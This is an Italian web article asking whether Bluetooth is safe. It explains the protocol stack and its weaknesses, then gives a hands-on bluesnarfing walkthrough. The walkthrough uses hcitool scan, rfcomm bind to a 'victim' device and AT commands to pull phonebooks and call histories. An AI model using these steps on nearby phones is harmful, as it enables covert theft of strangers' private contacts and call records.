Logo AdamantioAdamantio.netlogotoplogoright
logobottom
 Registrati
 Forum
Ricerche Downloads Profilo Utente Argomenti
    
Sommario
Utenti e Visitatori

Server Date/Time
Date: 07 Feb 2012
Time: 13:46:57
GMT: +0100

 Hits:
Today: 388
Overall: 9348964

Iscritti:
Ultimo: Exart
Iscritti oggi: 0
Iscritti ieri: 0
Complessivi: 463

Persone Online:
Visitatori: 10
Iscritti: 0
Totale: 10
Effemeridi
In questo giorno...
1812
Nasce Charles Dickens, scrittore di "David Copperfield" e "Oliver Twist"
Cerca sul sito


  Computer: Bluetooth! C'è da fidarsi?

Fuori ArgomentoScritto da criptex :
Ormai, guardando le vetrine dei negozi di telefonia, si nota sempre di più la presenza sui telefonini di nuove tecnologie di comunicazione; all'inizio ci fu la "famosa" porta ad infrarossi che resiste tuttora ma non permette un grande mobilità del'apparecchio che deve necessariamente "guardare" laltro dispositivo per poter comunicare!
Ecco che allora nasce il BLUETOOTH (ovvero Dente Blu... Mah!).


Con questa nuova tecnologia, ora si possono fare tutte le cose che permette la porta infrarossi (IRDA) e anche di più; come navigare con il proprio computer usando il telefonino, scambiarsi messaggi con gli altri dispositivi, trasferire dati ecc..
Attualmente questa tecnologia è molto diffusa e per verificarlo basta farsi una passeggiata in una stazione ferroviaria con un notebook o u telefonino (come il miofedele nokia 6600) con installato uno scanner bluetooth!
Ora la domanda è: il bluetooth è realmente così sicuro comedicono da poter girare tranquilli con il dispositivo acceso?
La risposta: NOOO!
Per spiegarvi il perchè, devo spiegare anche il funzionamento dello stack in questione.
Nel bluetooth, ci sono due tipi di protocollo: di trasporto e di middleware.
TRASPORTO:
Radio:E' la parte più fisica dello stack e definisce la trasmissione radio vera e propria che viaggia ad una frequenza di 2.4GHZ e che fa uso del frequency hopping per annullare eventuali altre trasmissioni nelle vicinanze. I dispositivi bluetooth possono essere di prima(100 Mt), seconda e terza categoria.

Baseband: E' il servizio che si occupa della sincronizzazione dei dispositivi

LMP(Link Manager Protocol): consente la verifica periodica dell'esistenza del dispositivo remoto.

HCI(Host Controller Interface): E' un layer che fa da tramite per accedere agli strati piùbassi dello stack

L2CAP: ridimensiona e frammenta i pacchetti da spedire

MIDDLEWARE:
RFCOMM: E' un emulatore del cavetto che usavamo per collegare il nostro pc al telefonino

SDP: E' un servizio che permette di trovare i servizi offerti dal dispositivo remoto.

TCS: permette di poter usare i comandi AT che si usano peri modem. Sarebbe inutilizzabile senza l'RFCOMM.

Inoltre vi sono anche altri protocolli ma a noi non interessano!

Le vulnerabilità principali del Bluetooth riguardano l'autenticazione. Infatti questa si basa su 3 variabili: Un numero casuale, il PIN e la lunghezza del PIN. Visto che il numero casuale viaggia in chiaro, non rimane che trovare il PIN con metodo forza bruta.
Un altra vulnerabilità riguarda il clock che può essere facilmente disturbato con un laser a bassa frequenza che causerà un DOS (Denial Of Service).

Detto ciò passiamo alla parte più pratica dell'articolo, la tecnica!
Esistono vari tipi di attacco ad un dispositivo bluetooth e variano di difficoltà e pericolosità; vi elenco i più diffusi:

Bluejacking: Decisamente quello meno pericoloso che permette di inviare un messaggio anonimo senza necessità di autenticazione. Può essere fatto inviando con il proprio telefonino un contatto nel cui campo nome vi è il testo del messaggio.

Bluediscovery: Il dispositivo bluetooth può avere tre stati: acceso, nascosto, spento. La maggior parte delle persone crede di essere al sicuro mettendo lo stato di nascosto... sappiate che non è così. Infatti basta trovare il MAC address che solitamente ha un formato del genere 00:01:23:45:67:89. Sapendo che i primo 4 caratteri dell'indirizzo sono fissi per ogni produttore, si può tentare un attacco forza bruta (se abbiamo un notebook con 4 adattatori bluetooth il tempo si riduce di molto)

Bluesnarfing: E' quello più pericoloso perché permette di accedere completamente a tutti i dati contenuti nel telefonino/palmare, come chiamate effettuate, numeri di telefono, foto, sms, mms, ecc..
Tutti direte "Nooo non è possibile"! E invece si!

L'occorrente per provare questi attacchi sono:

Un computer (meglio se un notebook) con un adattatore bluetooth di classe 1 ovvero con un raggio di 100 Mt
Linux
Tutti i pacchetti BLUEZ (bluez-libs, bluez-utils, sdp, rfcomm, hci, bluez-pin, ecc..)
e i seguenti tool:
Btscanner (uno scanner bluetooth dalle molteplici funzioni)
Bluesniff (uno sniffig bluetooth)
Redfang (un tool che trova i dispositivi "nascosti")

Allora, pronti? Cominciamo!
Per attivare il bluetooth sul computer digitiamo:
hci-config -a hci0 up
dove hci0 può variare a seconda di dove si mette il bluetooth.

Per trovare i dispositivi nelle vicinanze digitiamo:
hcitool scan
e ci restituirà il nome e l'indirizzo del dispositivo vittima

Ora che abbiamo l'indirizzo possiamo cominciare con l'attacco;
mknod /dev/rfcomm0 c 216 0
rfcomm -i hci0 bind 00:01:23:45:67:89 17
con questi comandi abbiamo creato un dispositivo (dev/rfcomm0) sul nostro computer che utilizzeremo per agganciarci al canale 17 (phonebooking) della nostra vittima.
Fatto questo impostiamo minicom sulla porta rfcomm0 e apriamo il terminale minicom.
Ora basta conoscere un po' i comandi AT per avere in pugno la nostra vittima:

AT+CGMI
ericsson --ecco il produttore

AT+CGMN
12345-f5g47 --ecco il modello

AT+CPBS="DC" --chiamate effettuate
AT+CPBR=4
+CPBR: 4, "3281234567", 85, "nome contatto", "11/12/2004 22.00"

questo è solo un esempio di quello che si può fare con i comandi AT ma con questo elenco potrete fare molte più prove:
DC ME Chiamate effettuate
EN SIM numeri di emergenza
LD Ultime chiamate
MC Chiamate perse
ME ME telefono phonebook
MT ME+SIM
ON Proprio numero
RC chiamate ricevute
TA TA phonebook

Per ulteriori informazioni e per i tool che vi ho citato ecco i links:
http://www.bluejack.it
http://www.bluetooth.com
http://www.bluejackhq.com
http://www.betaversion.net/btdsd/
http://www.bluestumbler.org
http://sourceforge.net/projects/bluez/
http://www.atstake.com/research/tools/info_gathering/#redfang

Per ulteriori informazioni inviatemi un messaggio
La prossima volta che andrete in giro con il bluetooth acceso ricordatevi di me!
Ciaoo! :-D

 
Links Correlati
· Inoltre Fuori Argomento
· News by root


Articolo più letto relativo a Fuori Argomento:
Bluetooth! C'è da fidarsi?

Article Rating
Average Score: 5
Voti: 6


Please take a second and vote for this article:

Excellent
Very Good
Good
Regular
Bad

Opzioni
Associated Topics

fix sicurezza patchhardwareLinux adminPrivacyTecniche

"Bluetooth! C'è da fidarsi?" | Login/Crea Account | 1 commento | Search Discussion
I commenti sono di proprietà dell'inserzionista. Noi non siamo responsabili per il loro contenuto.

Commenti NON Abilitati per gli Anonimi, registrati

Re: Bluetooth! C'è da fidarsi? (Voto: 1)
di ghini76 il Lunedì, 19 settembre @ 16:51:53 CEST
(Info Utente | Invia un Messaggio)
Ciao!
Sto cercando di trovare i codici AT per inviare ma soprattutto leggere gli MMS da un modem GPRS USb o da un cellulare. La periferica non ha molta importanza, posso scegliere liberamente quella che voglio (certo preferirei un terminale USB).
Mi sai dare qualche consiglio dove trovarli?
Grazie





All logos and trademarks in this site are property of their respective owner.
The comments are property of their posters, all the rest 2002 by me.
You can syndicate our news using the file backend.php [RSS] [Valid RSS].

PHP-Nuke Copyright © 2004 by Francisco Burzi. This is free software, and you may redistribute it under the GPL. PHP-Nuke comes with absolutely no warranty, for details, see the license.
Generazione pagina: 0.10 Secondi

Theme Design by: Lorkan Themes